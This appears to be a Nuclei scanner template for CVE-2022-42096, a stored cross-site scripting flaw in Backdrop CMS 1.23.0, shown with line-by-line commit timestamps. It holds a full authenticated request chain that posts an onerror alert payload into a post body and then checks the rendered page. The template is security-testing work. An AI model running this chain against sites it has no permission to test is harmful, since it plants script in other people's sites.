2023-05-06 12:12:20 +00:00
|
|
|
id: CVE-2022-42096
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
|
|
|
|
author: theamanrawat
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via Post content.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
|
2023-05-06 12:12:20 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/backdrop/backdrop/releases/tag/1.23.0
|
|
|
|
- https://github.com/bypazs/CVE-2022-42096
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-42096
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://backdropcms.org
|
2023-05-06 12:12:20 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 4.8
|
|
|
|
cve-id: CVE-2022-42096
|
|
|
|
cwe-id: CWE-79
|
2023-12-12 11:07:52 +00:00
|
|
|
epss-score: 0.0069
|
|
|
|
epss-percentile: 0.77842
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
|
2023-05-06 12:12:20 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 5
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: backdropcms
|
|
|
|
product: backdrop_cms
|
2023-12-05 09:50:33 +00:00
|
|
|
tags: cve,cve2022,xss,cms,backdrop,authenticated,intrusive,backdropcms
|
2023-05-06 12:12:20 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /?q=user/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /?q=user/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
|
|
|
|
- |
|
|
|
|
GET /?q=node/add/post HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /?q=node/add/post HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="title"
|
|
|
|
|
|
|
|
{{randstr}}
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="field_tags[und]"
|
|
|
|
|
|
|
|
{{randstr}}
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="body[und][0][summary]"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="body[und][0][value]"
|
|
|
|
|
|
|
|
<img src=x onerror=alert(document.domain)>
|
|
|
|
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="body[und][0][format]"
|
|
|
|
|
|
|
|
full_html
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="field_image[und][0][fid]"
|
|
|
|
|
|
|
|
0
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="field_image[und][0][display]"
|
|
|
|
|
|
|
|
1
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="changed"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="form_build_id"
|
|
|
|
|
|
|
|
{{form_id_1}}
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="form_token"
|
|
|
|
|
|
|
|
{{form_token}}
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="form_id"
|
|
|
|
|
|
|
|
{{form_id_2}}
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="status"
|
|
|
|
|
|
|
|
1
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="scheduled[date]"
|
|
|
|
|
|
|
|
2023-04-25
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="scheduled[time]"
|
|
|
|
|
|
|
|
16:59:23
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="promote"
|
|
|
|
|
|
|
|
1
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
|
|
|
|
{{name}}
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="date[date]"
|
|
|
|
|
|
|
|
2023-04-24
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="date[time]"
|
|
|
|
|
|
|
|
16:59:23
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="path[auto]"
|
|
|
|
|
|
|
|
1
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="comment"
|
|
|
|
|
|
|
|
2
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="additional_settings__active_tab"
|
|
|
|
|
|
|
|
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp
|
|
|
|
Content-Disposition: form-data; name="op"
|
|
|
|
|
|
|
|
Save
|
|
|
|
------WebKitFormBoundaryIubltUxssi0yqDjp--
|
|
|
|
- |
|
|
|
|
GET /?q=posts/{{randstr}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2023-07-11 19:49:27 +00:00
|
|
|
- <img src="x" onerror="alert(document.domain)" />
|
|
|
|
- Backdrop CMS
|
2023-05-06 12:12:20 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: form_id_1
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-07-11 19:49:27 +00:00
|
|
|
- name="form_build_id" value="(.*)"
|
2023-05-06 12:12:20 +00:00
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
name: name
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-07-11 19:49:27 +00:00
|
|
|
- name="name" value="(.*?)"
|
2023-05-06 12:12:20 +00:00
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
name: form_id_2
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-07-11 19:49:27 +00:00
|
|
|
- name="form_id" value="(.*)"
|
2023-05-06 12:12:20 +00:00
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
name: form_token
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-07-11 19:49:27 +00:00
|
|
|
- name="form_token" value="(.*)"
|
2023-05-06 12:12:20 +00:00
|
|
|
internal: true
|
2023-12-12 12:02:03 +00:00
|
|
|
# digest: 4b0a00483046022100f1cf06c44ed67a058e58beb5054e77bca861a6eec153c80894f95cd40485d17f022100a126e02d520dfd2c43abc87b45cc17138d7ed74ce053348d18bef31019861098:922c64590222798bb761d5b6d8e72950
|